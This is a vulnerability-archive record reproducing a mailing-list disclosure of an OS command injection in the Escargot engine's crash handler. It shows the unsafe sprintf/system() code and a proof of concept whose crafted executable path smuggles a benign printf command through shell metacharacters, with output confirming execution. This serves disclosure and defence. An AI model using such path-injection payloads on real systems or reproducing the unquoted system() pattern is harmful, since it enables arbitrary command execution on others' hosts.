GCVE-1988-2026-0080
Vulnerability from gna-1988 β Published: 2026-09-07 13:20 β Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
Escargot v4.3.0-214-gfaee4437 OS Command Injection in Crash Handler via Unsanitized Executable Path
Summary
An OS command injection vulnerability exists in the Escargot
v4.3.0-214-gfaee4437 crash handler due to an executable/module path being
incorporated into an addr2line shell command without quoting or escaping.
The resulting command is executed using system(), causing shell
metacharacters contained within the path to be interpreted as command
syntax.
By launching Escargot using a crafted executable path containing shell
metacharacters and subsequently triggering the crash handler, arbitrary
shell commands can be executed with the privileges of the Escargot process.
Dynamic testing confirmed command execution by injecting a benign printf
command into the executable filename. Following a controlled crash, the
injected command executed and created a marker file containing
ESCARGOT_CMD_INJECTION_CONFIRMED.
Technical Details
During crash processing, Escargot generates symbolic stack-trace
information by constructing an addr2line command containing an
executable/module path obtained from the backtrace.
The affected code follows this pattern:
sprintf(
syscom,
"addr2line %s -e %s",
addr.c_str(),
modulePath.c_str());
system(syscom);
modulePath is inserted directly into the command string without shell
quoting, escaping, validation, or argument separation.
Because the resulting string is passed to system(), /bin/sh interprets
shell metacharacters contained within modulePath.
A path containing characters such as:
;
#
can therefore alter the structure of the intended addr2line command and
introduce additional shell commands.
Root Cause
Use of system() to invoke addr2line
Shell command constructed using sprintf()
Executable/module path inserted directly into command
No shell escaping or quoting
No validation of shell metacharacters
No argument separation
The fundamental issue is that a filesystem path is treated as part of a
shell command rather than as an opaque argument to the addr2line executable
Security Impact
An attacker capable of influencing the executable or module path processed
by the crash handler and causing the affected crash-handling path to
execute may run arbitrary operating-system commands with the privileges of
the Escargot process.
Potential impact includes:
Arbitrary OS Command Execution:
Injected shell commands execute in the context of the crashing process.
File Creation or Modification:
Commands can create or modify files accessible to the process.
Local Resource Access:
Injected commands inherit the filesystem and operating-system
permissions of the Escargot process.
Further Host Compromise:
Impact may increase depending on the privileges and execution
environment of the affected process.
The demonstrated PoC establishes command execution under conditions where
the executable path is attacker-controlled. It does not independently
establish that a remote attacker can control the executable/module path in
a standard Escargot deployment.
PoC Results
======================================================================
PoC: Shell Crash Handler Command Injection
======================================================================
[+] RESULT: VULNERABILITY CONFIRMED
[+] Command injection successfully triggered through the crash-handler
executable path.
[+] Injection Payload
printf${IFS}ESCARGOT_CMD_INJECTION_CONFIRMED>escargot_cmd_injection_proof
[+] Crafted Executable Path
/tmp/escargot-poc-bin/escargot;printf${IFS}ESCARGOT_CMD_INJECTION_CONFIRMED>escargot_cmd_injection_proof;#
[+] Crash Trigger
Signal: SIGABRT (6)
Return Code: -6
PID: 3988
[+] Arbitrary Command Execution Evidence
Proof File:
/work/escargot/security-poc/build-debugger-test/escargot_cmd_injection_proof
File Created: YES
File Contents:
ESCARGOT_CMD_INJECTION_CONFIRMED
[+] Exploitation Chain
1. Escargot is executed from a path containing shell metacharacters.
2. A controlled crash triggers the crash/signal handler.
3. The handler incorporates the executable path into a shell command.
4. Shell metacharacters in the executable path are interpreted.
5. The injected printf command executes.
6. A proof file containing the expected marker is created.
[+] Relevant Runtime Evidence
Waiting for client connection 0.0.0.0:6514
Connected from: 127.0.0.1
Assertion `false' failed.
Got signal 6, pid 3988
[bt] Execution path:
...
addr2line: '/tmp/escargot-poc-bin/escargot': No such file
[+] Verification
Expected marker: ESCARGOT_CMD_INJECTION_CONFIRMED
Observed marker: ESCARGOT_CMD_INJECTION_CONFIRMED
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure β’ Proof-of-Concept Development
π https://github.com/ob1sec
π https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "Escargot",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "An OS command injection vulnerability exists in the Escargot\nv4.3.0-214-gfaee4437 crash handler due to an executable/module path being\nincorporated into an addr2line shell command without quoting or escaping.\nThe resulting command is executed using system(), causing shell\nmetacharacters contained within the path to be interpreted as command\nsyntax.\n\nBy launching Escargot using a crafted executable path containing shell\nmetacharacters and subsequently triggering the crash handler, arbitrary\nshell commands can be executed with the privileges of the Escargot process.\n\nDynamic testing confirmed command execution by injecting a benign printf\ncommand into the executable filename. Following a controlled crash, the\ninjected command executed and created a marker file containing\nESCARGOT_CMD_INJECTION_CONFIRMED.\n\n\nTechnical Details\n\nDuring crash processing, Escargot generates symbolic stack-trace\ninformation by constructing an addr2line command containing an\nexecutable/module path obtained from the backtrace.\n\nThe affected code follows this pattern:\n\nsprintf(\n syscom,\n \"addr2line %s -e %s\",\n addr.c_str(),\n modulePath.c_str());\n\nsystem(syscom);\n\nmodulePath is inserted directly into the command string without shell\nquoting, escaping, validation, or argument separation.\n\nBecause the resulting string is passed to system(), /bin/sh interprets\nshell metacharacters contained within modulePath.\n\nA path containing characters such as:\n\n;\n\n\n#\n\ncan therefore alter the structure of the intended addr2line command and\nintroduce additional shell commands.\n\nRoot Cause\n\nUse of system() to invoke addr2line\nShell command constructed using sprintf()\nExecutable/module path inserted directly into command\nNo shell escaping or quoting\nNo validation of shell metacharacters\nNo argument separation\n\nThe fundamental issue is that a filesystem path is treated as part of a\nshell command rather than as an opaque argument to the addr2line executable\nSecurity Impact\n\nAn attacker capable of influencing the executable or module path processed\nby the crash handler and causing the affected crash-handling path to\nexecute may run arbitrary operating-system commands with the privileges of\nthe Escargot process.\n\nPotential impact includes:\n\nArbitrary OS Command Execution:\nInjected shell commands execute in the context of the crashing process.\n\nFile Creation or Modification:\nCommands can create or modify files accessible to the process.\n\nLocal Resource Access:\nInjected commands inherit the filesystem and operating-system\npermissions of the Escargot process.\n\nFurther Host Compromise:\nImpact may increase depending on the privileges and execution\nenvironment of the affected process.\n\nThe demonstrated PoC establishes command execution under conditions where\nthe executable path is attacker-controlled. It does not independently\nestablish that a remote attacker can control the executable/module path in\na standard Escargot deployment.\n\nPoC Results\n======================================================================\n PoC: Shell Crash Handler Command Injection\n======================================================================\n\n[+] RESULT: VULNERABILITY CONFIRMED\n\n[+] Command injection successfully triggered through the crash-handler\n executable path.\n\n[+] Injection Payload\n\nprintf${IFS}ESCARGOT_CMD_INJECTION_CONFIRMED\u003eescargot_cmd_injection_proof\n\n[+] Crafted Executable Path\n\n/tmp/escargot-poc-bin/escargot;printf${IFS}ESCARGOT_CMD_INJECTION_CONFIRMED\u003eescargot_cmd_injection_proof;#\n\n[+] Crash Trigger\n Signal: SIGABRT (6)\n Return Code: -6\n PID: 3988\n\n[+] Arbitrary Command Execution Evidence\n Proof File:\n\n/work/escargot/security-poc/build-debugger-test/escargot_cmd_injection_proof\n\n File Created: YES\n\n File Contents:\n ESCARGOT_CMD_INJECTION_CONFIRMED\n\n[+] Exploitation Chain\n 1. Escargot is executed from a path containing shell metacharacters.\n 2. A controlled crash triggers the crash/signal handler.\n 3. The handler incorporates the executable path into a shell command.\n 4. Shell metacharacters in the executable path are interpreted.\n 5. The injected printf command executes.\n 6. A proof file containing the expected marker is created.\n\n[+] Relevant Runtime Evidence\n\n Waiting for client connection 0.0.0.0:6514\n Connected from: 127.0.0.1\n\n Assertion `false\u0027 failed.\n Got signal 6, pid 3988\n\n [bt] Execution path:\n ...\n addr2line: \u0027/tmp/escargot-poc-bin/escargot\u0027: No such file\n\n[+] Verification\n Expected marker: ESCARGOT_CMD_INJECTION_CONFIRMED\n Observed marker: ESCARGOT_CMD_INJECTION_CONFIRMED\n\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:21Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/108"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/108"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/108"
],
"discovery": "EXTERNAL"
},
"title": "Escargot v4.3.0-214-gfaee4437 OS Command Injection in Crash Handler via Unsanitized Executable Path",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0080",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/108",
"automated": true,
"contentSha256": "1bb3c9a8c0d0644790e28a16fefc18c8d372406899013eaad89d9793831b8434",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/108",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T12:45:16Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-07T13:20:21Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0080"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loadingβ¦
Loadingβ¦
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loadingβ¦
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loadingβ¦
Loadingβ¦